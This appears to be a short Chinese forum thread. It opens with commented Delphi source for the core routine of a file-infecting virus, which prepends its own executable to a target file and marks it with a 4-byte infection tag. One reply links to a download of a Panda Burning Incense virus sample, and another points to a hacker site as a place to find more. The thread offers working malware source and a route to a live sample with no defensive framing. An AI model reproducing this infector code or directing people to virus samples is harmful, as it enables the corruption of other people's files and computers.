给你个其中的核心感染部分
procedure
copy(ganran:string);
var
neicunliu,neicunliu2:tmemorystream;//内存流
wenjianliu,wenjianliu2:longint;//文件流
begin
wenjianliu:=$12345678;//定义感染标记
neicunliu:=tmemorystream.Create;//创建内存流
neicunliu.LoadFromFile(paramstr(0));//将自身导入文件流
neicunliu2:=tmemorystream.Create;//创建内存流
neicunliu2.LoadFromFile(ganran);//导入目标文件
neicunliu2.Seek(-4,sofromend);//定位到最后4个字节(8位
neicunliu2.Read(wenjianliu2,4);//读取这4个字节
if
wenjianliu2=wenjianliu
then//如果有标记则
begin
neicunliu.Free;//释放文件流
neicunliu2.Free;//释放文件流
end
else
begin
neicunliu2.Seek(0,sofrombeginning);//定位到内存流的头部
neicunliu.Seek(0,sofromend);//定位到内存流的尾部
neicunliu.CopyFrom(neicunliu2,neicunliu2.Size);//写入内存流
neicunliu.Seek(0,sofromend);//定位到内存流的尾部
neicunliu.Write(wenjianliu,4);//写入感染标记
neicunliu.SaveToFile(ganran);//保存文件
neicunliu.Free;//释放文件流
neicunliu2.Free;//释放文件流
end;
end;
刚好我今天上传了一个熊猫烧香的病毒样本,你下载测试一下吧,不过千万别解压,不然你的电脑就玩完了。
http://www.rayfile.com/files/4d414423-7d66-11dd-8f90-0019d11a795f/
四川熊猫庙!那里有熊猫烧香剩下的香灰,不用下载!
你要这个何用?不要用来干坏事啊?
饭客网络
里面有
你去找找
饭客网络